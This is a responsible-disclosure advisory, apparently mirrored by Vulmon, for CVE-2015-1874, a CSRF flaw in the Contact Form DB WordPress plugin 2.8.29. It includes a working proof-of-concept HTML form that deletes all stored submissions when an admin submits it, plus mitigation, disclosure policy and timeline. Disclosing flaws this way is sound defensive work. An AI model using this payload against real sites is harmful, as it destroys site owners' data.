Vulmon
Details
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Software: Contact Form DB
Version: 2.8.29
Homepage: https://wordpress.org/plugins/contact-form-7-to-database-extension/
Advisory report: https://security.dxw.com/advisories/csrf-in-contact-form-db-allows-attacker-to-delete-all-stored-form-submissions/
CVE: CVE-2015-1874
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)
Description
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CSRF in Contact Form DB allows attacker to delete all stored form submissions
Vulnerability
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An attacker able to convince a logged in admin user to follow a link (for instance via spearphishing) will be able to cause all records stored by this plugin to be removed.
Proof of concept
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If a logged-in administrator user clicks the submit button on this form, all records stored by the plugin will be deleted (in a real attack the form can be made to auto-submit using Javascript).
<form action=\"http://localhost/wp-admin/admin.php?page=CF7DBPluginSubmissions\" method=\"post\">
<input name=\"all\" type=\"text\" value=\"y\">
<input name=\"delete\" type=\"text\" value=\"y\">
<input type=\"submit\">
</form>
Mitigations
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Upgrade to version 2.8.32 or later
Disclosure policy
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dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/
Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.
This vulnerability will be published if we do not receive a response to this report with 14 days.
Timeline
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2015-02-05: Discovered
2015-02-17: Reported to vendor by email
2015-02-22: Vendor responded and agreed a schedule for fix
2015-02-23: Vendor published a fix in version 2.8.32
2015-03-04: Advisory published
Discovered by dxw:
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Tom Adams
Please visit security.dxw.com for more information.
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